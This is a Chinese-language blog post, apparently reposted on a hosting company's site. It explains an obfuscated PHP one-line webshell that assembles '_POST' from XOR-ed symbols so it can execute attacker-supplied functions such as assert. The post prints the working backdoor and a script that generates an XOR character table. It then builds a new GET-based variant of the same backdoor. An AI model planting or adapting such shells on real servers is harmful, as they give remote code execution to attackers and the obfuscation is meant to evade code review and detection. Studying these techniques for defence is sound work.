溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

一個(gè)神秘的一句話后門代碼詳解

發(fā)布時(shí)間:2020-07-13 08:06:41 來源:網(wǎng)絡(luò) 閱讀:1601 作者:JunStar 欄目:web開發(fā)

神秘的一句話后門代碼內(nèi)容:


<?php
   @$_++;  $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");  ${$__}[!$_](${$__}[$_]);
?>


代碼作用:

以上代碼即是PHP的一句話后門,當(dāng)POST數(shù)據(jù)為0=assert&1=phpinfo();則會(huì)執(zhí)行assert('phpinfo()');

在FireFox下使用HackBar插件模擬發(fā)送POST請求的結(jié)果如下圖所示:


一個(gè)神秘的一句話后門代碼詳解

為什么說他神秘呢?因?yàn)槠婀值氖?,代碼里面沒有一個(gè)正常的代碼字符,卻能接收POST的數(shù)據(jù),并執(zhí)行系統(tǒng)函數(shù)。接下來,分析他是如何能夠執(zhí)行的。


格式化代碼,并打印結(jié)果:

<?php
   @$_++;			//var_dump($_);     1
   $__=("#"^"|");		//var_dump($__);    _
   $__.=("."^"~");		//var_dump($__);    _P
   $__.=("/"^"`");		//var_dump($__);    _PO
   $__.=("|"^"/");		//var_dump($__);    _POS
   $__.=("{"^"/");		//var_dump($__);    _POST
   ${$__}[!$_](${$__}[$_]);	//即$_POST['0']($_POST['1']);
?>


由打印數(shù)據(jù)我們可以看到,其實(shí),代碼本身就是最后執(zhí)行了$_POST['0']($_POST['1']);而其中的_POST的每個(gè)字符都是由兩個(gè)符號進(jìn)行異或操作后拼接得到的。


那么問題來了,為什么異或后會(huì)得到_POST呢。這里就牽涉到PHP的字符串異或運(yùn)算。首先解釋下,什么叫異或操作。異或操作一般叫做按位異或。意思就是兩個(gè)二進(jìn)制數(shù),按位進(jìn)行運(yùn)算,同為0或1的結(jié)果為0,不相同的結(jié)果為1。比如10101100 ^ 11010010 = 01111110。而PHP的字符串異或運(yùn)算總共有下面5個(gè)步驟:

1.將需要進(jìn)行異或的兩個(gè)字符串都轉(zhuǎn)行成十進(jìn)制的asc2碼值;
2.將asc2碼值轉(zhuǎn)換成二進(jìn)制數(shù);
3.將轉(zhuǎn)換后的二進(jìn)制數(shù)進(jìn)行按位異或操作;
4.將異或后得到的二進(jìn)制數(shù)轉(zhuǎn)換成十進(jìn)制數(shù);
5.根據(jù)asc2碼表,將十進(jìn)制數(shù)轉(zhuǎn)換成字符串并返回.
至此,PHP的字符串異或操作完畢

于是,可以解釋,為什么最終會(huì)得到_POST字符串。比如下劃線_的獲得,就是先將#和|都轉(zhuǎn)行成十進(jìn)制的asc2碼值,35和124(在PHP中可以使用ord函數(shù)獲取到字符串對應(yīng)的asc2碼值),然后將35和124都轉(zhuǎn)換成二進(jìn)制數(shù)00100011和01111100然后按位異或得到01011111然后轉(zhuǎn)換成十進(jìn)制是95,然后得到由asc2碼表得到95對應(yīng)的字符串為_(在PHP中可以使用chr函數(shù)獲取到十進(jìn)制數(shù)對應(yīng)的asc2碼表的字符串。


了解到PHP字符串異或運(yùn)算的原理,那么,其實(shí)我可以修改下此后門,改成由GET接收參數(shù)。


為了知道哪兩個(gè)單字符的異或運(yùn)算可以分別得到G或者E,做如下程序,打印一個(gè)列表,得到任意兩個(gè)單字符進(jìn)行異或的結(jié)果

<?php
header("Content-type:text/html;charset=utf-8");
?>
<table width="50%" border="0" cellpadding="2" cellspacing="0">
<tr>
<td>異或值A(chǔ)</td>
<td>異或值B</td>
<td>異或結(jié)果</td>
</tr>
<?php 
for( $i=0; $i<=127; $i++ ){
	$array[] = chr( $i );
} 
?>
<?php for( $i=0; $i<=127; $i++ ){ ?>
	<?php $a = array_shift($array); ?>
	<?php foreach( $array as $v ){ ?>
		<tr>
			<td><?php echo $a; ?></td>
			<td><?php echo $v; ?></td>
			<td><?php echo $a ^ $v; ?></td>
		</tr>
	<?php } ?>
<?php } ?>
</table>


由如上的列表可以查到G可以由 ' ^ ` 得到,E可以由 8 ^ } 得到,于是如下的程序也可以作為一句話后門,并且參數(shù)是由GET傳遞:


<?php
//GET方式 接收參數(shù)
@$_++;
$__=("#"^"|");	//	_
$__.=("'"^"`");	//	G
$__.=("8"^"}");	//	E
$__.=("{"^"/");	//	T
${$__}[!$_](${$__}[$_]);
?>


至此,神秘的一句話后門詳解完畢。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI